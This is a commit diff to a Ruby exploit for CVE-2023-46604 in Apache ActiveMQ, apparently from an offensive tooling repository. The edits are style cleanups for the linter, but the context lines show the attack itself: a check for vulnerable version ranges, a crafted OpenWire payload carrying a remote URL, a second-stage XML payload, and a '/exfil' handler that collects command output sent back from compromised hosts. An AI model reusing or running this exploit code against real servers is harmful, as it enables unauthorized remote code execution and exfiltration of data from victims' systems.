Update CVE-2023-46604.rb

Attempt to make rubocop happy.

exploits/activemq/CVE-2023-46604.rb

@@ -93,7 +93,7 @@ def test
 
         print_info "Detected provider version: #{version}"
 
-        version = Gem::Version.new(version)       
+        version = Gem::Version.new(version)
         if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) ||
            (version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) ||
            (version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) ||
@@ -137,6 +137,7 @@ def build
 
         cursor += 3 + web_url.length
         buffer.put_uint32(0, cursor-4)
+
         @payload1 = buffer.to_s[0..cursor-1]
 
         @payload2 = <<~XML
@@ -173,7 +174,10 @@ def launch
           end
 
           post("/exfil") do
-            exploit.print_info "Received RCE exfiltration:\n" + request.body.read
+            exploit.print_info "Received RCE exfiltration:"
+            puts
+            puts request.body.read
+
             queue.push(:exfil)
             ""
           end
@@ -195,6 +199,7 @@ def launch
 
         return if queue.pop == :stop # :get
         return if queue.pop == :stop # :get
+
         queue.pop # :exfil
       end
 
@@ -208,12 +213,15 @@ def cleanup
       # we're taking the easy way out by not parsing the whole message, just finding the
       # `ProviderVersion` property and pulling it out of the message.
       #
+      # @return [String, nil]
+      #
       def pluck_provider_version(message)
         print_info "Extracting provider version from OpenWire WIREFORMAT message:"
         message.hexdump
 
-        property_index = message.index(PROVIDER_VERSION)
-        return nil if property_index.nil?
+        unless (property_index = message.index(PROVIDER_VERSION))
+          return
+        end
 
         offset = property_index + PROVIDER_VERSION.length
         buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net)